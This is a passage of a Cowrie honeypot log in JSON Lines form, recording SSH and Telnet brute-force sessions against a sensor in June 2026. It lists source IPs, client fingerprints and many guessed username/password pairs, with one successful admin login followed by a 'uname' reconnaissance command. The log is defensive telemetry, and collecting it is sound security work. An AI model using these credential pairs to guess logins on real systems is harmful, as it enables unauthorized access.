f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:50.678282Z","src_ip":"97.74.87.152","session":"fa67ffc34a0f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:50.940423Z","src_ip":"91.92.40.36","session":"e218b0d7f0a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:50.944016Z","src_ip":"91.92.40.36","session":"e218b0d7f0a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"12345678","message":"login attempt [root2/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:51.646687Z","src_ip":"97.74.87.152","session":"fa67ffc34a0f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123!","message":"login attempt [admin/admin123!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:52.464976Z","src_ip":"91.92.40.36","session":"e218b0d7f0a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":33700,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ccf8394d5f8","protocol":"ssh","message":"New connection: 103.27.238.120:33700 (159.203.135.109:22) [session: 7ccf8394d5f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:52.664992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:52.669436Z","src_ip":"103.27.238.120","session":"7ccf8394d5f8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:52.926308Z","src_ip":"91.92.40.36","session":"e218b0d7f0a6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:52.929816Z","src_ip":"91.92.40.36","session":"e218b0d7f0a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:52.936970Z","src_ip":"103.27.238.120","session":"7ccf8394d5f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:52.942904Z","src_ip":"97.74.87.152","session":"fa67ffc34a0f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:53.135732Z","src_ip":"91.92.40.36","session":"e218b0d7f0a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:53.140525Z","src_ip":"91.92.40.36","session":"e218b0d7f0a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"127549","message":"login attempt [root/127549] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:53.729958Z","src_ip":"103.27.238.120","session":"7ccf8394d5f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:54.996306Z","src_ip":"103.27.238.120","session":"7ccf8394d5f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56104,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d103a87a4cd","protocol":"ssh","message":"New connection: 91.92.40.36:56104 (10.17.0.5:22) [session: 0d103a87a4cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:58.244358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:58.643812Z","src_ip":"91.92.40.36","session":"0d103a87a4cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:05:58.650809Z","src_ip":"91.92.40.36","session":"0d103a87a4cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marketing","password":"123","message":"login attempt [marketing/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:01.333142Z","src_ip":"91.92.40.36","session":"0d103a87a4cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:03.123469Z","src_ip":"91.92.40.36","session":"0d103a87a4cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":33850,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cbb48e81c77","protocol":"ssh","message":"New connection: 160.187.180.146:33850 (159.203.135.109:22) [session: 6cbb48e81c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:03.958447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:03.963102Z","src_ip":"160.187.180.146","session":"6cbb48e81c77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:04.187075Z","src_ip":"160.187.180.146","session":"6cbb48e81c77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56150,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b9abf7bf0cc","protocol":"ssh","message":"New connection: 91.92.40.36:56150 (10.17.0.5:22) [session: 4b9abf7bf0cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:04.616294Z"}
{"eventid":"cowrie.login.failed","username":"webserver","password":"webserver2026","message":"login attempt [webserver/webserver2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:05.120132Z","src_ip":"160.187.180.146","session":"6cbb48e81c77","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:05.406110Z","src_ip":"91.92.40.36","session":"4b9abf7bf0cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:05.409898Z","src_ip":"91.92.40.36","session":"4b9abf7bf0cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:06.346118Z","src_ip":"160.187.180.146","session":"6cbb48e81c77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sdadmin","password":"51nGleD","message":"login attempt [sdadmin/51nGleD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:08.277864Z","src_ip":"91.92.40.36","session":"4b9abf7bf0cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:10.129341Z","src_ip":"91.92.40.36","session":"4b9abf7bf0cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":40924,"dst_ip":"10.17.0.5","dst_port":22,"session":"c33e45f7e7b2","protocol":"ssh","message":"New connection: 45.78.204.254:40924 (10.17.0.5:22) [session: c33e45f7e7b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:12.531240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:12.535480Z","src_ip":"45.78.204.254","session":"c33e45f7e7b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30356,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d962d041f46","protocol":"ssh","message":"New connection: 91.92.40.36:30356 (10.17.0.5:22) [session: 7d962d041f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:12.692387Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:12.772701Z","src_ip":"45.78.204.254","session":"c33e45f7e7b2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:13.378369Z","src_ip":"91.92.40.36","session":"7d962d041f46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:13.386966Z","src_ip":"91.92.40.36","session":"7d962d041f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd123","message":"login attempt [admin/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:14.346316Z","src_ip":"45.78.204.254","session":"c33e45f7e7b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112211..","message":"login attempt [root/Aa112211..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:16.191730Z","src_ip":"91.92.40.36","session":"7d962d041f46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:16.861725Z","src_ip":"45.78.204.254","session":"c33e45f7e7b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:17.605018Z","src_ip":"91.92.40.36","session":"7d962d041f46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30932,"dst_ip":"10.17.0.5","dst_port":22,"session":"df43e099a9f6","protocol":"ssh","message":"New connection: 91.92.40.36:30932 (10.17.0.5:22) [session: df43e099a9f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:20.077390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:20.905205Z","src_ip":"91.92.40.36","session":"df43e099a9f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:20.908471Z","src_ip":"91.92.40.36","session":"df43e099a9f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55468,"dst_ip":"159.203.135.109","dst_port":23,"session":"113c5fd7a4b1","protocol":"telnet","message":"New connection: 172.81.62.90:55468 (159.203.135.109:23) [session: 113c5fd7a4b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:06:22.931496Z"}
